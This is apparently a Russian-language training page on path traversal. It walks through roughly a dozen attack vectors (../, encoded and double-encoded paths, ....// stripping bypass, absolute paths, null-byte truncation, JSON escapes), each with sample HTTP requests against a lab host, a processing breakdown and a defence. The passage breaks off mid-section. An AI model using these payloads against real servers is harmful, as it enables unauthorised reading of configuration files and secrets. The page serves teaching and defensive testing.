WEB SECURITY / FILESYSTEM BOUNDARY
Path Traversal (Directory Traversal)
Где пользовательский ввод превращается в серверный путь, как его меняют декодеры и файловая система и когда путь действительно выходит из разрешённого каталога.
01 / ГДЕ ИСКАТЬ
Где искать
Ищи не строку ../, а файловую операцию, в которую попадают контролируемые извне имена, сегменты, пути или имена записей архива.
Параметр имени файла доходит до серверной функции чтения изображения.
HTTP-запрос
GET /api/images?filename=202.png HTTP/1.1
Host: lab.example.test
Accept: text/plainОтвет учебного сервера
HTTP/1.1 200 OK
Content-Type: image/png
PNG image bytesКуда попадает значение: /srv/app/public/images/202.png
Где возникает риск
Если путь составляется из filename без ограничения каталога, он может выйти за его пределы.
Требуемая проверка
Разрешённое имя изображения сопоставлять с серверным ID и проверять фактический путь.
Операция download нередко читает файл по пути, полученному из query.
HTTP-запрос
GET /api/download?path=reports/summary.txt HTTP/1.1
Host: lab.example.test
Accept: text/plainОтвет учебного сервера
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
public report 2026Куда попадает значение: /srv/app/public/reports/summary.txt
Где возникает риск
Подстановка внешнего значения в open()/sendfile() без проверки границ директории.
Требуемая проверка
На сервере сопоставлять ID документа с фиксированным хранилищем и правами пользователя.
ID файла может быть закодирован сегментами URL, но обработчик собирает из него локальный путь.
HTTP-запрос
GET /api/docs/manual.txt HTTP/1.1
Host: lab.example.test
Accept: text/plainОтвет учебного сервера
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
manual demoКуда попадает значение: /srv/app/public/docs/manual.txt
Где возникает риск
Промежуточный proxy и приложение могут по-разному нормализовать сегменты URL.
Требуемая проверка
Проверять уже интерпретированный относительный путь; не опираться на сырой URL.
Имя или целевой путь в JSON влияет на место сохранения отчёта.
HTTP-запрос
POST /api/exports HTTP/1.1
Host: lab.example.test
Content-Type: application/json
Content-Length: 29
{"output":"reports/demo.txt"}Ответ учебного сервера
HTTP/1.1 201 Created
Content-Type: application/json
{"saved":"reports/demo.txt"}Куда попадает значение: /srv/app/public/reports/demo.txt
Где возникает риск
При записи риск связан с выходом файла из каталога экспорта.
Требуемая проверка
Сервер сам выбирает каталог и имя результата, а пользователь выбирает только поддерживаемый формат.
Значение filename в Content-Disposition не должно становиться файловым путём на сервере.
HTTP-запрос
POST /api/upload HTTP/1.1
Host: lab.example.test
Content-Type: multipart/form-data; boundary=lab123
Content-Length: 124
--lab123
Content-Disposition: form-data; name="file"; filename="note.txt"
Content-Type: text/plain
training file
--lab123--Ответ учебного сервера
HTTP/1.1 201 Created
Content-Type: application/json
{"file_id":"up-14"}Куда попадает значение: /srv/app/uploads/up-14.txt
Где возникает риск
Доверие исходному filename при записи способно привести к перезаписи внешнего файла.
Требуемая проверка
Генерировать имя на сервере, хранить отдельно и проверять путь.
Имя записи хранится внутри архива; оно не обязано повторяться в URL.
HTTP-запрос
POST /api/archive/extract HTTP/1.1
Host: lab.example.test
Content-Type: application/json
Content-Length: 28
{"archive_id":"training-14"}Ответ учебного сервера
HTTP/1.1 200 OK
Content-Type: application/json
{"processed":1}Куда попадает значение: /srv/app/extracted/
Где возникает риск
Имя записи вроде ../private/lab-config.txt может выйти из каталога распаковки (Zip Slip).
Требуемая проверка
Проверять канонический путь каждой записи до извлечения, отдельно обрабатывать symlink.
Параметр template может передаваться в загрузчик шаблонов или PHP include(). Если код включает файл, сервер способен интерпретировать его содержимое вместо простого чтения.
HTTP-запрос
GET /api/render?template=welcome.txt HTTP/1.1
Host: lab.example.test
Accept: text/plainОтвет учебного сервера
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Welcome, training userКуда попадает значение: /srv/app/templates/welcome.txt
Где возникает риск
PHP include() с пользовательским путём может подключить файл вне templates, включая ранее загруженный PHP-код; обычное чтение имеет другой импакт.
Требуемая проверка
Серверный allowlist template_id и запрет пользовательского пути в PHP include(); uploads не должны включаться как исполняемые файлы.
Панели диагностики часто принимают имя лога или backup без отдельной модели доступа.
HTTP-запрос
GET /api/logs?name=service.log HTTP/1.1
Host: lab.example.test
Accept: text/plainОтвет учебного сервера
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
2026-11-17 service startedКуда попадает значение: /srv/app/logs/service.log
Где возникает риск
Функция чтения с повышенными правами может раскрыть файлы вне каталога логов.
Требуемая проверка
Отдельная проверка роли плюс разрешённые имена файлов и разрешённый итоговый путь.
02 / КАК РАСПОЗНАТЬ
Как распознать
Сравнивай разрешённый файл и выход наружу при одинаковой операции. HTTP 200 важен только вместе с подтверждённым содержимым/эффектом, а 403/404 нужно правильно интерпретировать.
Модель обработки пути: что видит каждый слой
Выбирай значение file и режим проверки. Это локальная учебная модель: запросы не отправляются в сеть; для symlink результат заранее задан для условной файловой системы.
HTTP-запрос
Ответ учебного сервера
- 01 / RAW INPUT
- 02 / DECODE
- 03 / JOIN
- 04 / RESOLVE + SYMLINK
1. Найти источник и файловый sink
Отследить filename/path до open(), sendfile(), include(), extract() или записи; одиночный query-параметр без чтения файла ничего не доказывает.
2. Установить разрешённую базу
Уточнить каталог и права доступа: /srv/app/public, связанный с конкретной операцией и пользователем.
3. Сравнить исходный и изменённый HTTP
В Burp Repeater проверить доступный guide.txt и путь к контрольному внешнему файлу; повторная пара нужна только если сравнение объясняет дефект.
4. Проверить нормализацию и filesystem
Узнать число URL-decode, работу proxy, символьные ссылки, Windows/POSIX-правила и фактически открываемый путь.
5. Не делать вывод только по статусу
200 может быть HTML-ошибкой, 404 — отсутствующим файлом, 403 — проверкой полномочий или границы пути. Сопоставляй содержимое, логи и контекст.
6. Отделить Path Traversal от IDOR/LFI
Traversal — нарушение файловой границы. IDOR — доступ к объекту без прав. LFI — включение файла; traversal может быть способом указать на файл, но не тождественен включению.
| Признак | Что означает | Чего НЕ доказывает |
|---|---|---|
| 200 + содержимое внешнего контрольного файла | Есть основание проверять фактический выход из файлового каталога | Не доказывает автоматически исполнение кода |
| 403 на ../ | Возможно сработала защита пути | Не показывает, защищены ли абсолютные пути и ссылки |
| 404 или одинаковые ответы | Состояние не подтвердилось в выбранном запросе | Не доказывает отсутствия дефекта на других файловых sink |
| Путь с кодированием | Появилось другое представление ввода | Не доказывает обход WAF при одинаковой нормализации |
03 / ВЕКТОРЫ PATH TRAVERSAL
Векторы атак
Пять групп из 16 векторов. Каждая карточка начинается с короткой Red Team-предыстории: что мы нашли ранее и что проверяем теперь. Затем — HTTP, обработка по слоям и признак успешного результата.
01 / Интерпретация файлового пути4 вектора
Разные правила ОС и API построения путей; замена ID сама по себе не образует новый механизм.
Каталог чтения /srv/app/public, а пользователь контролирует остаток имени.
Предыстория / Red Team: Мы нашли файловый API и убедились, что guide.txt читается из public. Теперь подставляем ../private/lab-config.txt и проверяем, выйдет ли чтение за разрешённый каталог.
Вариант 1 — Разрешённый файл
HTTP-запрос 1
GET /api/files?file=guide.txt HTTP/1.1
Host: lab.example.test
Accept: text/plainОтвет сервера 1
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
public guideВариант 2 — изменённый путь
HTTP-запрос 2
GET /api/files?file=../private/lab-config.txt HTTP/1.1
Host: lab.example.test
Accept: text/plainОтвет сервера 2
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
lab-marker=private-demoВ чём разница: Изменился параметр file и итоговый нормализованный путь; в небезопасной реализации оба читаются, хотя второй находится вне корня.
Как значение проходит обработку
- ВВОД
../private/lab-config.txtПользовательский ввод: Пользователь способен менять query-параметр file; расположение каталога известно из учебного стенда, а не определяется запросом.
- ОБРАБОТКА
/srv/app/public/../private/lab-config.txt../ поднимается на один уровень: /srv/app/public/.. становится /srv/app. Следующий сегмент private ведёт к /srv/app/private. При отсутствии проверки итогового пути файл становится доступен.
- ФАЙЛОВАЯ СИСТЕМА
/srv/app/private/lab-config.txtВ учебном ответе появляется маркер private-demo, заранее записанный в /srv/app/private/lab-config.txt. Просто статус 200 без проверки содержимого не подтверждает чтение чужого файла.
- ГРАНИЦА
Путь вышел за пределы /srv/app/public.Нужна проверка фактического конечного файла: После resolve() требовать вхождения в разрешённое дерево; отказ при выходе.
Почему так получилось
../ поднимается на один уровень: /srv/app/public/.. становится /srv/app. Следующий сегмент private ведёт к /srv/app/private. При отсутствии проверки итогового пути файл становится доступен.
Как убедиться, что это действительно сработало
В учебном ответе появляется маркер private-demo, заранее записанный в /srv/app/private/lab-config.txt. Просто статус 200 без проверки содержимого не подтверждает чтение чужого файла.
Необходимое условие: Backend напрямую объединяет каталог и введённое значение, а файл в учебном окружении существует.
Почему уязвимо
Факт существования файла проверен, принадлежность разрешённому каталогу — нет.
Как защититься
После resolve() требовать вхождения в разрешённое дерево; отказ при выходе.
Источник: PortSwigger
Импакт
Прямой результат: Чтение файлов вне public, доступных процессу приложения: например, приватных настроек, API-ключей и служебных данных.
Возможные последствия и ограничения: Использование найденных секретов для дальнейшего доступа возможно только если они действительно содержатся в прочитанном файле; само чтение не является RCE.
Функция объединения путей может игнорировать base_dir, если второе значение абсолютно.
Предыстория / Red Team: Мы заметили, что API принимает имя файла без явного ограничения формата. Проверяем полный путь к файлу вне public: некоторые POSIX-функции отбросят базовую директорию.
HTTP-запрос
GET /api/files?file=/srv/app/private/lab-config.txt HTTP/1.1
Host: lab.example.test
Accept: text/plainОтвет учебного сервера
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
lab-marker=private-demoКак значение проходит обработку
- ВВОД
/srv/app/private/lab-config.txtПользовательский ввод: Пользователь изменяет file и передаёт не относительное имя, а полный POSIX-путь.
- ОБРАБОТКА
os.path.join('/srv/app/public', userPath)На POSIX os.path.join('/srv/app/public', '/srv/app/private/lab-config.txt') возвращает второй, абсолютный аргумент. База public отбрасывается; наличие ../ не требуется.
- ФАЙЛОВАЯ СИСТЕМА
/srv/app/private/lab-config.txtОтвет содержит маркер именно внешнего файла. Если обработчик отклоняет абсолютный путь или использует другой API, такой сценарий не воспроизводится.
- ГРАНИЦА
Проверка только на ../ бессильна против абсолютных путей.Нужна проверка фактического конечного файла: Отклонять абсолютные значения; ещё надёжнее не принимать путь как ввод.
Почему так получилось
На POSIX os.path.join('/srv/app/public', '/srv/app/private/lab-config.txt') возвращает второй, абсолютный аргумент. База public отбрасывается; наличие ../ не требуется.
Как убедиться, что это действительно сработало
Ответ содержит маркер именно внешнего файла. Если обработчик отклоняет абсолютный путь или использует другой API, такой сценарий не воспроизводится.
Необходимое условие: Платформа POSIX; небезопасный обработчик действительно использует os.path.join или аналог с абсолютным аргументом.
Почему уязвимо
Фильтр ищет ../, но не запрещает абсолютный путь.
Как защититься
Отклонять абсолютные значения; ещё надёжнее не принимать путь как ввод.
Источник: PortSwigger: absolute-path lab
Импакт
Прямой результат: Чтение файла из произвольного доступного каталога вместо разрешённого public, в том числе конфигурации приложения.
Возможные последствия и ограничения: Дальнейший доступ зависит от содержимого файла и прав процесса: абсолютный путь не предоставляет дополнительных системных привилегий.
При работе с Windows файловая система понимает ..\ как переход к родительскому каталогу.
Предыстория / Red Team: Мы тестируем приложение на Windows и заметили, что фильтр блокирует ../. Пробуем обратный слеш, который Windows тоже считает разделителем каталогов.
HTTP-запрос
GET /api/files?file=..%5cprivate%5clab-config.txt HTTP/1.1
Host: lab.example.test
Accept: text/plainОтвет учебного сервера
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
lab-marker=private-demoКак значение проходит обработку
- ВВОД
..%5cprivate%5clab-config.txtПользовательский ввод: Пользователь задаёт часть пути; файловый backend работает на Windows.
- ОБРАБОТКА
..\private\lab-config.txtHTTP содержит %5c, то есть обратную косую черту. После percent-decode получается ..\private\lab-config.txt. Windows интерпретирует \ как разделитель, поэтому .. возвращает из public в C:\app.
- ФАЙЛОВАЯ СИСТЕМА
C:\app\private\lab-config.txtМаркер private-demo в ответе подтверждает выход за public при указанных Windows-условиях. На POSIX обратный слеш обычно не является разделителем.
- ГРАНИЦА
Под Windows и /, и \ могут выступать разделителем.Нужна проверка фактического конечного файла: Применять платформенное разрешение пути и сравнение компонентов после нормализации.
Почему так получилось
HTTP содержит %5c, то есть обратную косую черту. После percent-decode получается ..\private\lab-config.txt. Windows интерпретирует \ как разделитель, поэтому .. возвращает из public в C:\app.
Как убедиться, что это действительно сработало
Маркер private-demo в ответе подтверждает выход за public при указанных Windows-условиях. На POSIX обратный слеш обычно не является разделителем.
Необходимое условие: Приложение запущено на Windows, а проверка запрещает только последовательность ../.
Почему уязвимо
Фильтр ориентирован на UNIX-разделитель и пропускает Windows-вариант.
Как защититься
Применять платформенное разрешение пути и сравнение компонентов после нормализации.
Источник: MITRE CWE-22
Импакт
Прямой результат: Чтение файлов Windows-приложения за пределами public при ошибочной проверке разделителей пути.
Возможные последствия и ограничения: Секреты в настройках могут привести к компрометации других сервисов, но результат зависит от реальных прав backend и содержимого файла.
Дисковый абсолютный путь может уйти от заданного каталога без ..\.
Предыстория / Red Team: Мы обнаружили, что файловый API принимает пути на Windows. Вместо относительного имени передаём абсолютный путь C:\app\private\lab-config.txt.
HTTP-запрос
GET /api/files?file=C%3a%5capp%5cprivate%5clab-config.txt HTTP/1.1
Host: lab.example.test
Accept: text/plainОтвет учебного сервера
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
lab-marker=private-demoКак значение проходит обработку
- ВВОД
C:\app\private\lab-config.txtПользовательский ввод: Пользователь контролирует строку file; сервер принимает абсолютные дисковые пути.
- ОБРАБОТКА
Windows: абсолютный путь, не относительное имяПосле percent-decode значение становится C:\app\private\lab-config.txt. Путь абсолютный, поэтому функция, поддерживающая такую семантику, не должна соединять его с public как относительное имя.
- ФАЙЛОВАЯ СИСТЕМА
C:\app\private\lab-config.txtОтличительный маркер внешнего файла появляется только при соответствующем файловом API и отсутствии проверки границ.
- ГРАНИЦА
Нельзя полагаться только на отсутствие двух точек.Нужна проверка фактического конечного файла: Разрешать только имена из каталога, а не произвольные дисковые адреса.
Почему так получилось
После percent-decode значение становится C:\app\private\lab-config.txt. Путь абсолютный, поэтому функция, поддерживающая такую семантику, не должна соединять его с public как относительное имя.
Как убедиться, что это действительно сработало
Отличительный маркер внешнего файла появляется только при соответствующем файловом API и отсутствии проверки границ.
Необходимое условие: Windows, API принимает абсолютные дисковые пути, не блокируя их заранее.
Почему уязвимо
Приложение считает все значения filename относительными.
Как защититься
Разрешать только имена из каталога, а не произвольные дисковые адреса.
Источник: MITRE CWE-22
Импакт
Прямой результат: Обход ограничения базового Windows-каталога и раскрытие доступного для backend файла по абсолютному пути.
Возможные последствия и ограничения: Возможны утечки конфигурации и ключей; чтение защищённых системой объектов без соответствующих прав не становится возможным.
02 / Ошибки проверки и фильтрации4 вектора
В этих случаях проблема не в необычной записи, а в конкретном несовпадении проверки с тем, как позже открывается файл.
Санитайзер удаляет найденные вхождения ../, не повторяя проверку полученного результата.
Предыстория / Red Team: Обычный ../ сервер удаляет из параметра. Проверяем ....//: после однократного удаления подстроки ../ может появиться новый переход в родительский каталог.
Вариант 1 — Обычная запрещённая строка
HTTP-запрос 1
GET /api/files?file=../private/lab-config.txt HTTP/1.1
Host: lab.example.test
Accept: text/plainОтвет сервера 1
HTTP/1.1 404 Not Found
Content-Type: application/json
{"error":"file_not_found"}Вариант 2 — изменённый путь
HTTP-запрос 2
GET /api/files?file=....//private/lab-config.txt HTTP/1.1
Host: lab.example.test
Accept: text/plainОтвет сервера 2
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
lab-marker=private-demoВ чём разница: Обычная последовательность была удалена и чтение не удалось, но составная после одного прохода порождает ../.
Как значение проходит обработку
- ВВОД
....//private/lab-config.txtПользовательский ввод: Пользователь контролирует file; защита заменяет запрещённые фрагменты строковой операцией.
- ОБРАБОТКА
удалить '../' один раз → ../private/lab-config.txtВ строке ....// последовательность ../ начинается с третьей точки. Однопроходное удаление оставляет ../. Повторная проверка не выполняется, и файловая функция видит уже настоящий переход вверх.
- ФАЙЛОВАЯ СИСТЕМА
/srv/app/private/lab-config.txtПервый контрольный HTTP приводит к 404, а второй возвращает маркер private-demo. Разница обусловлена ошибочной одноразовой заменой, а не универсальным свойством всех фильтров.
- ГРАНИЦА
После фильтра появляется traversal, которого исходный фильтр уже не видит.Нужна проверка фактического конечного файла: Не удалять запрещённые подстроки; разрешать итоговый путь и проверять корень.
Почему так получилось
В строке ....// последовательность ../ начинается с третьей точки. Однопроходное удаление оставляет ../. Повторная проверка не выполняется, и файловая функция видит уже настоящий переход вверх.
Как убедиться, что это действительно сработало
Первый контрольный HTTP приводит к 404, а второй возвращает маркер private-demo. Разница обусловлена ошибочной одноразовой заменой, а не универсальным свойством всех фильтров.
Необходимое условие: Сервер удаляет ../ одним проходом и не проверяет канонический итоговый путь.
Почему уязвимо
Строковая замена вместо проверки разрешённого файла.
Как защититься
Не удалять запрещённые подстроки; разрешать итоговый путь и проверять корень.
Источник: PortSwigger: non-recursive stripping lab
Импакт
Прямой результат: Обход неэффективной строковой фильтрации и чтение внешнего файла, который обычный ../ не позволял открыть.
Возможные последствия и ограничения: Реальное последствие — раскрытие данных; при отсутствии одноразовой замены или права чтения конкретного файла описанный эффект отсутствует.
Начало строки совпадает с разрешённым каталогом, но далее расположены сегменты выхода.
Предыстория / Red Team: Мы выяснили, что сервер разрешает пути, начинающиеся с /srv/app/public. Подставляем public/../private: сырая строка начинается правильно, но конечный файл уже вне public.
Вариант 1 — Путь внутри public
HTTP-запрос 1
GET /api/files?file=/srv/app/public/guide.txt HTTP/1.1
Host: lab.example.test
Accept: text/plainОтвет сервера 1
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
public guideВариант 2 — изменённый путь
HTTP-запрос 2
GET /api/files?file=/srv/app/public/../private/lab-config.txt HTTP/1.1
Host: lab.example.test
Accept: text/plainОтвет сервера 2
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
lab-marker=private-demoВ чём разница: Общий префикс одинаков; реальное расположение файлов различается после разрешения ../.
Как значение проходит обработку
- ВВОД
/srv/app/public/../private/lab-config.txtПользовательский ввод: Пользователь способен передать полный путь; сервер проверяет строку до нормализации.
- ОБРАБОТКА
startswith('/srv/app/public') → trueОбе сырые строки начинаются с /srv/app/public. Но разрешение сегмента .. меняет итоговый объект: второй адрес становится /srv/app/private/lab-config.txt.
- ФАЙЛОВАЯ СИСТЕМА
/srv/app/private/lab-config.txtРазрешённый файл и внешний имеют разные маркеры. Требуется сравнивать уже разрешённые компоненты, а не строковое начало.
- ГРАНИЦА
Проверять нужно компоненты разрешённого пути после resolve.Нужна проверка фактического конечного файла: Сначала realpath/resolve, затем сравнение компонентов разрешённого каталога.
Почему так получилось
Обе сырые строки начинаются с /srv/app/public. Но разрешение сегмента .. меняет итоговый объект: второй адрес становится /srv/app/private/lab-config.txt.
Как убедиться, что это действительно сработало
Разрешённый файл и внешний имеют разные маркеры. Требуется сравнивать уже разрешённые компоненты, а не строковое начало.
Необходимое условие: Проверка основана на сырых строках, а чтение проходит после нормализации.
Почему уязвимо
Префикс исходной строки не доказывает нахождение файла внутри дерева.
Как защититься
Сначала realpath/resolve, затем сравнение компонентов разрешённого каталога.
Источник: PortSwigger: validation of start of path
Импакт
Прямой результат: Чтение файла вне public, несмотря на успешную строковую проверку начинается-с-public.
Возможные последствия и ограничения: Внешний файл может содержать конфигурацию или секреты; ошибка разрешения пути сама по себе не даёт прав на запись.
Даже после нормализации проверка startswith('/srv/app/public') неверна без границы сегмента.
Предыстория / Red Team: Мы нашли проверку startswith('/srv/app/public'). Пробуем соседний каталог public-old: у строк общий префикс, хотя каталоги не вложены друг в друга.
Вариант 1 — Настоящий потомок каталога
HTTP-запрос 1
GET /api/files?file=/srv/app/public/guide.txt HTTP/1.1
Host: lab.example.test
Accept: text/plainОтвет сервера 1
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
public guideВариант 2 — изменённый путь
HTTP-запрос 2
GET /api/files?file=/srv/app/public-old/internal.txt HTTP/1.1
Host: lab.example.test
Accept: text/plainОтвет сервера 2
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
lab-marker=sibling-demoВ чём разница: Оба значения начинаются с /srv/app/public, но только первый действительно внутри разрешённого дерева.
Как значение проходит обработку
- ВВОД
/srv/app/public-old/internal.txtПользовательский ввод: Пользователь передаёт абсолютное имя файла, проходя через слабую проверку startswith.
- ОБРАБОТКА
startswith('/srv/app/public') → trueСтроки public и public-old совпадают в первых символах. Но файловая система считает public-old соседним каталогом; проверка строкового префикса путает совпадение букв с настоящей вложенностью.
- ФАЙЛОВАЯ СИСТЕМА
/srv/app/public-old/internal.txtМаркер sibling-demo подтверждает доступ к соседней папке. Сравнение с guide.txt показывает разную физическую принадлежность при одном результате startswith.
- ГРАНИЦА
public-old — соседний каталог, не потомок public.Нужна проверка фактического конечного файла: Сопоставлять компоненты и границы каталога, например Path.is_relative_to() после resolve().
Почему так получилось
Строки public и public-old совпадают в первых символах. Но файловая система считает public-old соседним каталогом; проверка строкового префикса путает совпадение букв с настоящей вложенностью.
Как убедиться, что это действительно сработало
Маркер sibling-demo подтверждает доступ к соседней папке. Сравнение с guide.txt показывает разную физическую принадлежность при одном результате startswith.
Необходимое условие: Небезопасный код сравнивает строки вместо компонентов пути.
Почему уязвимо
Проверка имени каталога принимает общий буквенный префикс за вложенность.
Как защититься
Сопоставлять компоненты и границы каталога, например Path.is_relative_to() после resolve().
Источник: OWASP Path Traversal Prevention
Импакт
Прямой результат: Доступ к содержимому соседнего каталога public-old, ошибочно признанного вложенным в public.
Возможные последствия и ограничения: Если в соседнем каталоге находятся старые сборки, резервные копии или конфигурации, возможна утечка исходников и ключей. Требуется фактическая доступность файла.
Старый файловый API на C-строках может завершить путь в NUL уже после проверки расширения.
Предыстория / Red Team: Мы обнаружили старый компонент, который проверяет расширение .png, а затем передаёт путь в C API. Проверяем, не обрезается ли значение по NUL после проверки суффикса.
Вариант 1 — Без NUL расширение не подходит
HTTP-запрос 1
GET /api/images?filename=../private/lab-config.txt HTTP/1.1
Host: lab.example.test
Accept: text/plainОтвет сервера 1
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error":"path_outside_allowed_root"}Вариант 2 — изменённый путь
HTTP-запрос 2
GET /api/images?filename=../private/lab-config.txt%00.png HTTP/1.1
Host: lab.example.test
Accept: text/plainОтвет сервера 2
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
lab-marker=private-demoВ чём разница: В условной legacy-реализации форма с .png проходит фильтр расширений, но файловая функция открывает путь, обрезанный по NUL.
Как значение проходит обработку
- ВВОД
../private/lab-config.txt%00.pngПользовательский ввод: Пользователь контролирует filename; дефект возможен только в старом стеке с C-строками.
- ОБРАБОТКА
строковый endswith('.png') → true; затем NUL отрезает .png%00 декодируется в NUL. Строковая проверка видит окончание .png, но C-строка может завершиться перед ним. Это несовпадение двух представлений; в современных Python/Java API NUL обычно запрещён.
- ФАЙЛОВАЯ СИСТЕМА
/srv/app/private/lab-config.txtСравнение 403 и маркера private-demo имеет смысл только если в коде действительно существует старый FFI/обрезка NUL. Для современного backend ожидаем отказ, а не обход.
- ГРАНИЦА
В современном Python/Java такой NUL обычно вызывает отказ.Нужна проверка фактического конечного файла: Отклонять управляющие байты и ограничивать доступ реальными файлами из каталога.
Почему так получилось
%00 декодируется в NUL. Строковая проверка видит окончание .png, но C-строка может завершиться перед ним. Это несовпадение двух представлений; в современных Python/Java API NUL обычно запрещён.
Как убедиться, что это действительно сработало
Сравнение 403 и маркера private-demo имеет смысл только если в коде действительно существует старый FFI/обрезка NUL. Для современного backend ожидаем отказ, а не обход.
Необходимое условие: Только legacy-обработчик реально обрезает строку на NUL; обычные современные runtime часто отклоняют такой ввод.
Почему уязвимо
Проверяется суффикс пользовательской строки, а не безопасный конечный путь.
Как защититься
Отклонять управляющие байты и ограничивать доступ реальными файлами из каталога.
Источник: PortSwigger: null-byte lab
Импакт
Прямой результат: В старом стеке — чтение файла неразрешённого типа после обхода проверки обязательного суффикса .png.
Возможные последствия и ограничения: Риск — утечка доступного backend файла. В современных API с запретом NUL такой результат ожидать нельзя.
03 / Декодирование и границы обработки4 вектора
Точное место проверки и количество декодирований важнее внешнего вида символов в HTTP.
HTTP получает `%2e%2e%2f`, а веб-фреймворк может превратить его в ../ перед открытием файла.
Предыстория / Red Team: Мы видим фильтр по буквальному ../ в параметре file. Отправляем тот же путь в URL-кодировке и проверяем, не декодирует ли его backend уже после фильтра.
HTTP-запрос
GET /api/files?file=%2e%2e%2fprivate%2flab-config.txt HTTP/1.1
Host: lab.example.test
Accept: text/plainОтвет учебного сервера
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
lab-marker=private-demoКак значение проходит обработку
- ВВОД
%2e%2e%2fprivate%2flab-config.txtПользовательский ввод: Пользователь изменяет URL-кодировку значения file; конечное имя файла остаётся тем же.
- ОБРАБОТКА
percent-decode → ../private/lab-config.txtНа сети file=%2e%2e%2fprivate%2flab-config.txt; после percent-decode — ../private/lab-config.txt. Дефект зависит от несовпадения представлений либо отсутствия ограничения путей.
- ФАЙЛОВАЯ СИСТЕМА
/srv/app/private/lab-config.txtЕсли ранний слой уже декодирует значение, кодировка не поможет. Ответ с маркером возможен только при небезопасном открытии итогового пути.
- ГРАНИЦА
Фильтр сырого `%`-текста недостаточен.Нужна проверка фактического конечного файла: Нормализовать один раз до валидации и не декодировать позже.
Почему так получилось
На сети file=%2e%2e%2fprivate%2flab-config.txt; после percent-decode — ../private/lab-config.txt. Дефект зависит от несовпадения представлений либо отсутствия ограничения путей.
Как убедиться, что это действительно сработало
Если ранний слой уже декодирует значение, кодировка не поможет. Ответ с маркером возможен только при небезопасном открытии итогового пути.
Необходимое условие: URL параметр декодируется до передачи в файловую функцию, а проверка выполняется до декодирования или отсутствует.
Почему уязвимо
Проверка сырой строки отличается от проверки реально открываемого пути.
Как защититься
Нормализовать один раз до валидации и не декодировать позже.
Источник: MITRE CWE-22
Импакт
Прямой результат: Раскрытие внешнего файла при расхождении между проверкой сырого URL и фактическим декодированным путём.
Возможные последствия и ограничения: Кодировка лишь помогает пройти ошибочный фильтр; без небезопасной файловой операции дополнительных последствий нет.
Проверка может видеть закодированный текст, а приложение выполняет дополнительный decode и получает ../. Для понимания различия достаточно одного запроса: если есть только одно декодирование, путь остаётся закодированным; при втором возникает ../.
Предыстория / Red Team: Мы заметили два этапа URL-декодирования. Отправляем двойную кодировку, чтобы первый слой увидел %2e, а второй превратил её в ../.
HTTP-запрос
GET /api/files?file=%252e%252e%252fprivate%252flab-config.txt HTTP/1.1
Host: lab.example.test
Accept: text/plainОтвет учебного сервера
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
lab-marker=private-demoКак значение проходит обработку
- ВВОД
%252e%252e%252fprivate%252flab-config.txtПользовательский ввод: Пользователь контролирует закодированную строку file; два слоя декодируют её последовательно.
- ОБРАБОТКА
1 decode → %2e%2e%2fprivate%2flab-config.txt; 2 decode → ../private/lab-config.txtRAW %252e%252e%252f → после первого decode %2e%2e%2f → после второго decode ../. Первый проверяющий слой не видел буквального ../, а финальная файловая операция получила его.
- ФАЙЛОВАЯ СИСТЕМА
/srv/app/private/lab-config.txtВ одном HTTP-запросе достаточно показать обе стадии. Без реально существующего второго decode этот пример не работает — нельзя считать любую двойную кодировку обходом.
- ГРАНИЦА
Искать момент второго decode после защитной проверки.Нужна проверка фактического конечного файла: Запретить дополнительные decode после проверки; проверять конечное расположение.
Почему так получилось
RAW %252e%252e%252f → после первого decode %2e%2e%2f → после второго decode ../. Первый проверяющий слой не видел буквального ../, а финальная файловая операция получила его.
Как убедиться, что это действительно сработало
В одном HTTP-запросе достаточно показать обе стадии. Без реально существующего второго decode этот пример не работает — нельзя считать любую двойную кодировку обходом.
Необходимое условие: Два URL-decode действительно выполняются в разных слоях; только одно декодирование не делает этот пример traversal.
Почему уязвимо
Проверяют промежуточное представление вместо последнего.
Как защититься
Запретить дополнительные decode после проверки; проверять конечное расположение.
Источник: PortSwigger: extra URL decode lab
Импакт
Прямой результат: Чтение файла вне разрешённого каталога после второго декодирования, выполняемого уже после проверки.
Возможные последствия и ограничения: Результат требует двух реально существующих decode и прав чтения процесса. Двойная кодировка сама по себе не означает компрометацию.
JSON-парсер превращает `\u002e` в точку внутри значения строки до соединения с каталогом.
Предыстория / Red Team: Мы нашли endpoint, принимающий путь через JSON. Записываем две точки как Unicode escapes и проверяем, сравнивает ли защитный слой сырой JSON, а backend — уже разобранную строку.
HTTP-запрос
POST /api/exports HTTP/1.1
Host: lab.example.test
Content-Type: application/json
Content-Length: 46
{"path":"\u002e\u002e/private/lab-config.txt"}Ответ учебного сервера
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
lab-marker=private-demoКак значение проходит обработку
- ВВОД
{"path":"\u002e\u002e/private/lab-config.txt"}Пользовательский ввод: Пользователь отправляет JSON-body, где path — строковый параметр файловой операции.
- ОБРАБОТКА
JSON parse → ../private/lab-config.txtВ сетевом теле видно {"path":"\u002e\u002e/private/lab-config.txt"}. JSON.parse превращает escapes в ../private/lab-config.txt; именно это итоговое значение используется файловым backend.
- ФАЙЛОВАЯ СИСТЕМА
/srv/app/private/lab-config.txtМаркер private-demo возможен, только если проверка сырого JSON не эквивалентна проверке parsed path. Корректная валидация после JSON.parse отвергнет путь.
- ГРАНИЦА
Опасен не escape сам по себе, а открытие результата без ограничения корня.Нужна проверка фактического конечного файла: Проверять значение после JSON.parse и реальный путь файловой системы.
Почему так получилось
В сетевом теле видно {"path":"\u002e\u002e/private/lab-config.txt"}. JSON.parse превращает escapes в ../private/lab-config.txt; именно это итоговое значение используется файловым backend.
Как убедиться, что это действительно сработало
